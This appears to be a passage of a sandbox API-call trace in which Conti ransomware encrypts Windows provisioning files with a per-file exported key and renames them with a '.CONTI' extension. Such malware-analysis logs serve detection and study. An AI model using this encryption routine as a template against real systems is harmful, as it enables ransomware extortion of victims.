	[0109.548] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.549] GetProcessHeap () returned 0x1720000
	[0109.549] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ae720 | out: hHeap=0x1720000) returned 1
	[0109.549] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0109.549] GetProcessHeap () returned 0x1720000
	[0109.549] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa498 | out: hHeap=0x1720000) returned 1
	[0109.549] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0109.549] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17c4350 | out: phKey=0x17c4350*=0x6b7ef78) returned 1
	[0109.549] CryptExportKey (in: hKey=0x6b7ef78, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4354, pdwDataLen=0x4abfcac | out: pbData=0x17c4354*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0109.550] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.550] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0109.550] GetLastError () returned 0x0
	[0109.550] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=719) returned 1
	[0109.550] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0109.550] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.550] SetEndOfFile (hFile=0x308) returned 1
	[0109.550] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.550] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.551] WriteFile (in: hFile=0x308, lpBuffer=0x17c4354*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17c4354*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.552] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.552] ReadFile (in: hFile=0x308, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2cf, lpOverlapped=0x0) returned 1
	[0109.552] CryptEncrypt (in: hKey=0x6b7ef78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2cf, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2d0) returned 1
	[0109.552] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.552] WriteFile (in: hFile=0x308, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.552] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.553] WriteFile (in: hFile=0x308, lpBuffer=0x17c4348*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17c4348*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0109.553] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.553] CloseHandle (hObject=0x308) returned 1
	[0109.553] GetProcessHeap () returned 0x1720000
	[0109.553] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65ae720
	[0109.553] lstrcpyW (in: lpString1=0x65ae720, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml"
	[0109.553] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.553] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.553] GetProcessHeap () returned 0x1720000
	[0109.554] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ae720 | out: hHeap=0x1720000) returned 1
	[0109.554] CryptDestroyKey (hKey=0x6b7ef78) returned 1
	[0109.554] GetProcessHeap () returned 0x1720000
	[0109.554] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fae00 | out: hHeap=0x1720000) returned 1
	[0109.554] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0109.554] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17c4a28 | out: phKey=0x17c4a28*=0x6b7f378) returned 1
	[0109.554] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4a2c, pdwDataLen=0x4abfcac | out: pbData=0x17c4a2c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0109.554] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.555] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0109.555] GetLastError () returned 0x0
	[0109.555] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=770) returned 1
	[0109.555] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x302
	[0109.555] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.555] SetEndOfFile (hFile=0x308) returned 1
	[0109.555] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.555] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.555] WriteFile (in: hFile=0x308, lpBuffer=0x17c4a2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17c4a2c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.557] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.557] ReadFile (in: hFile=0x308, lpBuffer=0xd540000, nNumberOfBytesToRead=0x302, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x302, lpOverlapped=0x0) returned 1
	[0109.557] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x302, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x310) returned 1
	[0109.557] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.557] WriteFile (in: hFile=0x308, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x310, lpOverlapped=0x0) returned 1
	[0109.558] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.558] WriteFile (in: hFile=0x308, lpBuffer=0x17c4a20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17c4a20*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0109.558] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.279] CloseHandle (hObject=0x308) returned 1
	[0110.448] GetProcessHeap () returned 0x1720000
	[0110.448] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.989] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml"
	[0110.989] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.989] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.990] GetProcessHeap () returned 0x1720000
	[0110.990] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.990] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0110.990] GetProcessHeap () returned 0x1720000
	[0110.990] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7100 | out: hHeap=0x1720000) returned 1
	[0110.990] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0110.990] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x656e610 | out: phKey=0x656e610*=0x17c7ff0) returned 1
	[0110.990] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656e614, pdwDataLen=0x4abfcac | out: pbData=0x656e614*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0110.991] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0110.991] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0110.992] GetLastError () returned 0x0
	[0110.992] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=709) returned 1
	[0110.992] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0110.992] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.992] SetEndOfFile (hFile=0x384) returned 1
	[0110.992] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.992] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.992] WriteFile (in: hFile=0x384, lpBuffer=0x656e614*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x656e614*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0111.312] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.312] ReadFile (in: hFile=0x384, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2c5, lpOverlapped=0x0) returned 1
	[0111.312] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2c5, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2d0) returned 1
	[0111.312] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.312] WriteFile (in: hFile=0x384, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.312] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.312] WriteFile (in: hFile=0x384, lpBuffer=0x656e608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x656e608*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0111.312] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.312] CloseHandle (hObject=0x384) returned 1
	[0111.361] GetProcessHeap () returned 0x1720000
	[0111.361] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.253] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml"
	[0112.253] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml.CONTI"
	[0112.253] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0112.254] GetProcessHeap () returned 0x1720000
	[0112.254] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.254] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0112.254] GetProcessHeap () returned 0x1720000
	[0112.254] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588058 | out: hHeap=0x1720000) returned 1
	[0112.254] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0112.254] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x1814c10 | out: phKey=0x1814c10*=0x17c7ff0) returned 1
	[0112.254] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1814c14, pdwDataLen=0x4abfcac | out: pbData=0x1814c14*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0112.255] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.255] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.255] GetLastError () returned 0x0
	[0112.255] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=643) returned 1
	[0112.255] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x283
	[0112.256] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.256] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.256] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.256] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.256] WriteFile (in: hFile=0x3f8, lpBuffer=0x1814c14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x1814c14*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0112.259] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.259] ReadFile (in: hFile=0x3f8, lpBuffer=0xd540000, nNumberOfBytesToRead=0x283, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x283, lpOverlapped=0x0) returned 1
